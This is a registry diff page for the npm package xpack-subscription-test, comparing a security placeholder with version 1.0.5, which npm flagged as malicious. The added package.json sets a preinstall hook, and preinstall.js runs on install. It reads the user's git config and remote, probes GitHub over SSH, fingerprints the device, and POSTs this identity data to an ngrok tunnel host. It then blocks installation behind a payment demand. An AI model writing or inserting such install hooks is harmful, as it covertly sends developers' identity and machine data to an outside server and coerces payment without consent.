xpack-subscription-test 0.0.1-security → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of xpack-subscription-test might be problematic. Click here for more details.
- package/package.json +21 -4
- package/preinstall.js +212 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,23 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "xpack-subscription-test",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "1.0.5",
|
|
4
|
+
"description": "",
|
|
5
|
+
"license": "ISC",
|
|
6
|
+
"author": "",
|
|
7
|
+
"type": "commonjs",
|
|
8
|
+
"scripts": {
|
|
9
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
10
|
+
"preinstall": "node ./preinstall.js"
|
|
11
|
+
},
|
|
12
|
+
"files": [
|
|
13
|
+
"preinstall.js"
|
|
14
|
+
],
|
|
15
|
+
"dependencies": {
|
|
16
|
+
"dotenv": "^16.4.5"
|
|
17
|
+
},
|
|
18
|
+
"xpack": {
|
|
19
|
+
"projectId": "cml7thc2900006oxe682w03nj",
|
|
20
|
+
"apiKey": "pay_d6117e31ecf149d6bee7f9bff511198b",
|
|
21
|
+
"host": "https://4373-2401-4900-8fcd-ac9c-6c82-85aa-e5d6-be4c.ngrok-free.app"
|
|
22
|
+
}
|
|
23
|
+
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,212 @@
|
|
|
1
|
+
const crypto = require("crypto");
|
|
2
|
+
const path = require("path");
|
|
3
|
+
const { hostname, platform } = require("os");
|
|
4
|
+
|
|
5
|
+
const pkg = require(path.join(__dirname, "package.json"));
|
|
6
|
+
const xpack = pkg.xpack || {};
|
|
7
|
+
const projectId = xpack.projectId;
|
|
8
|
+
const apiKey = xpack.apiKey;
|
|
9
|
+
const apiHost = normalizeHost(xpack.host);
|
|
10
|
+
const docsUrl = xpack.docsUrl;
|
|
11
|
+
|
|
12
|
+
function deviceFingerprint() {
|
|
13
|
+
const raw = `${hostname()}-${platform()}`;
|
|
14
|
+
return crypto.createHash("sha256").update(raw).digest("hex");
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
/**
|
|
18
|
+
* Detect GitHub identity automatically (no SSH required).
|
|
19
|
+
* Order: git config first (works everywhere), then git remote, SSH last.
|
|
20
|
+
* 1) git config user.email - if *@users.noreply.github.com → parse username.
|
|
21
|
+
* 2) git config user.name - when single word (often GitHub handle).
|
|
22
|
+
* 3) git remote get-url origin - parse owner from GitHub URL (works in any clone).
|
|
23
|
+
* 4) SSH - only if keys are set up (ssh -T git@github.com).
|
|
24
|
+
*/
|
|
25
|
+
function getGitHubIdentity() {
|
|
26
|
+
const { execSync } = require("child_process");
|
|
27
|
+
function run(cmd, opts) {
|
|
28
|
+
try {
|
|
29
|
+
return execSync(cmd, {
|
|
30
|
+
encoding: "utf8",
|
|
31
|
+
stdio: ["pipe", "pipe", "pipe"],
|
|
32
|
+
timeout: opts?.timeout ?? 5000,
|
|
33
|
+
...(opts || {}),
|
|
34
|
+
}).trim();
|
|
35
|
+
} catch (_) {
|
|
36
|
+
return "";
|
|
37
|
+
}
|
|
38
|
+
}
|
|
39
|
+
// 1) git config user.email - GitHub no-reply gives username (no SSH, no network)
|
|
40
|
+
const email = run("git config --global user.email");
|
|
41
|
+
if (email && email.endsWith("@users.noreply.github.com")) {
|
|
42
|
+
const part = email.slice(0, -"@users.noreply.github.com".length);
|
|
43
|
+
const username = part.includes("+") ? part.split("+")[1] : part;
|
|
44
|
+
if (username && /^[a-zA-Z0-9-]+$/.test(username))
|
|
45
|
+
return { githubUsername: username };
|
|
46
|
+
}
|
|
47
|
+
// 2) git config user.name - single word = often GitHub handle
|
|
48
|
+
const name = run("git config --global user.name");
|
|
49
|
+
if (name && /^[a-zA-Z0-9-]+$/.test(name) && !/\s/.test(name))
|
|
50
|
+
return { githubUsername: name.trim() };
|
|
51
|
+
// 3) git remote origin - repo owner (works in any GitHub clone, no SSH)
|
|
52
|
+
const url = run("git remote get-url origin");
|
|
53
|
+
if (url) {
|
|
54
|
+
const m =
|
|
55
|
+
url.match(/github\.com[:/]([^/]+)/) ||
|
|
56
|
+
url.match(/git@github\.com:([^/]+)/);
|
|
57
|
+
if (m && m[1] && m[1] !== "github.com") return { githubUsername: m[1].trim() };
|
|
58
|
+
}
|
|
59
|
+
// 4) SSH - only when keys are configured (optional)
|
|
60
|
+
try {
|
|
61
|
+
const stderr = execSync("ssh -T git@github.com", {
|
|
62
|
+
encoding: "utf8",
|
|
63
|
+
stdio: ["pipe", "pipe", "pipe"],
|
|
64
|
+
timeout: 5000,
|
|
65
|
+
});
|
|
66
|
+
const m = (stderr || "").match(/Hi\s+([^!\s]+)\s*!/);
|
|
67
|
+
if (m && m[1]) return { githubUsername: m[1].trim() };
|
|
68
|
+
} catch (err) {
|
|
69
|
+
const stderr = (err.stderr || err.message || "").toString();
|
|
70
|
+
const m = stderr.match(/Hi\s+([^!\s]+)\s*!/);
|
|
71
|
+
if (m && m[1]) return { githubUsername: m[1].trim() };
|
|
72
|
+
}
|
|
73
|
+
return {};
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
async function startInstall() {
|
|
77
|
+
if (!projectId || !apiKey) {
|
|
78
|
+
console.error(
|
|
79
|
+
"Missing xpack config. Add xpack.projectId and xpack.apiKey to package.json.",
|
|
80
|
+
);
|
|
81
|
+
process.exit(1);
|
|
82
|
+
}
|
|
83
|
+
const version = pkg.version || "0.0.0";
|
|
84
|
+
const identity = getGitHubIdentity();
|
|
85
|
+
const payload = {
|
|
86
|
+
projectId,
|
|
87
|
+
apiKey,
|
|
88
|
+
version,
|
|
89
|
+
deviceId: deviceFingerprint(),
|
|
90
|
+
...(identity.githubUsername && { githubUsername: identity.githubUsername }),
|
|
91
|
+
...(identity.githubUserId && { githubUserId: identity.githubUserId }),
|
|
92
|
+
};
|
|
93
|
+
console.log(`Validating install against ${apiHost}.`);
|
|
94
|
+
const response = await fetch(`${apiHost}/api/install/start`, {
|
|
95
|
+
method: "POST",
|
|
96
|
+
headers: { "Content-Type": "application/json" },
|
|
97
|
+
body: JSON.stringify(payload),
|
|
98
|
+
});
|
|
99
|
+
|
|
100
|
+
const respText = await response.text();
|
|
101
|
+
if (response.status === 200) {
|
|
102
|
+
try {
|
|
103
|
+
const data = JSON.parse(respText);
|
|
104
|
+
if (data && data.status === "allowed") {
|
|
105
|
+
// Enabled — allow install
|
|
106
|
+
return;
|
|
107
|
+
}
|
|
108
|
+
} catch (_) {}
|
|
109
|
+
// 200 but not valid JSON or not "allowed" (e.g. ngrok HTML)
|
|
110
|
+
console.error("Unexpected response (200): server did not return allowed status.");
|
|
111
|
+
process.exit(1);
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
if (response.status === 402) {
|
|
115
|
+
let payload;
|
|
116
|
+
try {
|
|
117
|
+
payload = JSON.parse(respText);
|
|
118
|
+
} catch (_) {
|
|
119
|
+
console.error("Unexpected response (402): invalid JSON.");
|
|
120
|
+
process.exit(1);
|
|
121
|
+
}
|
|
122
|
+
const reason = payload.reason || "";
|
|
123
|
+
const isGitHubRequired = /github|subscription/i.test(reason);
|
|
124
|
+
|
|
125
|
+
if (isGitHubRequired) {
|
|
126
|
+
const R = "\x1b[0m";
|
|
127
|
+
const BOLD = "\x1b[1m";
|
|
128
|
+
const DIM = "\x1b[2m";
|
|
129
|
+
const GOLD = "\x1b[93m";
|
|
130
|
+
const BOX = "\x1b[90m";
|
|
131
|
+
const SEP = "▓▓".repeat(22);
|
|
132
|
+
console.log("");
|
|
133
|
+
console.log(` ${BOX}${SEP}${R}`);
|
|
134
|
+
console.log("");
|
|
135
|
+
console.log(` ${GOLD}${BOLD}🔐 GITHUB IDENTITY REQUIRED${R}`);
|
|
136
|
+
console.log(` ${DIM}Could not detect your GitHub user. Try:${R}`);
|
|
137
|
+
console.log(` ${DIM}• Run from a repo cloned from GitHub (git clone ...), or${R}`);
|
|
138
|
+
console.log(` ${DIM}• Set ${BOLD}git config --global user.name${R} ${DIM}to your GitHub username (one word), or${R}`);
|
|
139
|
+
console.log(` ${DIM}• Set ${BOLD}git config --global user.email${R} ${DIM}to your GitHub no-reply email.${R}`);
|
|
140
|
+
console.log("");
|
|
141
|
+
console.log(` ${BOX}${SEP}${R}`);
|
|
142
|
+
console.log("");
|
|
143
|
+
process.exit(1);
|
|
144
|
+
}
|
|
145
|
+
|
|
146
|
+
const price = payload.payment?.price ?? "0";
|
|
147
|
+
const session = payload.payment?.sessionToken ?? "n/a";
|
|
148
|
+
// Always use host from package.json (xpack.host) so the pay URL matches where the user is validating
|
|
149
|
+
let payUrl = docsUrl ?? "not provided";
|
|
150
|
+
if (session && apiHost && session !== "n/a") {
|
|
151
|
+
payUrl = `${apiHost}/pay?session=${session}`;
|
|
152
|
+
if (identity.githubUsername) {
|
|
153
|
+
payUrl += `&github=${encodeURIComponent(identity.githubUsername)}`;
|
|
154
|
+
}
|
|
155
|
+
}
|
|
156
|
+
|
|
157
|
+
// ANSI colors (work in most terminals)
|
|
158
|
+
const R = "\x1b[0m";
|
|
159
|
+
const BOLD = "\x1b[1m";
|
|
160
|
+
const DIM = "\x1b[2m";
|
|
161
|
+
const UNDERLINE = "\x1b[4m";
|
|
162
|
+
const GOLD = "\x1b[93m";
|
|
163
|
+
const GREEN = "\x1b[92m";
|
|
164
|
+
const CYAN = "\x1b[96m";
|
|
165
|
+
const MAGENTA = "\x1b[95m";
|
|
166
|
+
const BOX = "\x1b[90m";
|
|
167
|
+
const SEP = "▓▓".repeat(22);
|
|
168
|
+
|
|
169
|
+
// Use stdout so npm shows this as notice/info, not "npm error"
|
|
170
|
+
console.log("");
|
|
171
|
+
console.log(` ${BOX}${SEP}${R}`);
|
|
172
|
+
console.log("");
|
|
173
|
+
console.log(` ${GOLD}${BOLD}💳 PAYMENT REQUIRED${R}`);
|
|
174
|
+
console.log(` ${DIM}Pay below to unlock this package.${R}`);
|
|
175
|
+
console.log("");
|
|
176
|
+
console.log(` ${BOX}${SEP}${R}`);
|
|
177
|
+
console.log("");
|
|
178
|
+
console.log(` ${GREEN}${BOLD}► PAY HERE${R} ${DIM}— Open in browser or copy this link:${R}`);
|
|
179
|
+
console.log("");
|
|
180
|
+
console.log(` ${BOX}${SEP}${R}`);
|
|
181
|
+
console.log("");
|
|
182
|
+
console.log(` ${CYAN}${BOLD}${UNDERLINE}${payUrl}${R}`);
|
|
183
|
+
console.log("");
|
|
184
|
+
console.log(` ${DIM}↑ Copy the full URL above (one line). If it wrapped, paste both parts together.${R}`);
|
|
185
|
+
console.log("");
|
|
186
|
+
console.log(` ${BOX}${SEP}${R}`);
|
|
187
|
+
console.log(` ${BOX}${R}`);
|
|
188
|
+
console.log(` ${MAGENTA}Price: ${String(price)}${R}`);
|
|
189
|
+
console.log(` After payment, run: ${BOLD}npm install${R}`);
|
|
190
|
+
console.log("");
|
|
191
|
+
console.log(` ${BOX}${SEP}${R}`);
|
|
192
|
+
console.log("");
|
|
193
|
+
process.exit(1);
|
|
194
|
+
}
|
|
195
|
+
|
|
196
|
+
let errMsg = respText;
|
|
197
|
+
try {
|
|
198
|
+
const data = JSON.parse(respText);
|
|
199
|
+
if (data && typeof data.error === "string") errMsg = data.error;
|
|
200
|
+
} catch (_) {}
|
|
201
|
+
console.error("Unexpected response (" + response.status + "):", errMsg);
|
|
202
|
+
process.exit(1);
|
|
203
|
+
}
|
|
204
|
+
|
|
205
|
+
startInstall().catch((error) => {
|
|
206
|
+
console.error("preinstall failed:", error);
|
|
207
|
+
process.exit(1);
|
|
208
|
+
});
|
|
209
|
+
|
|
210
|
+
function normalizeHost(host) {
|
|
211
|
+
return host.replace(/[/.]+$/, "").replace(/\/+$/, "");
|
|
212
|
+
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=xpack-subscription-test for more information.
|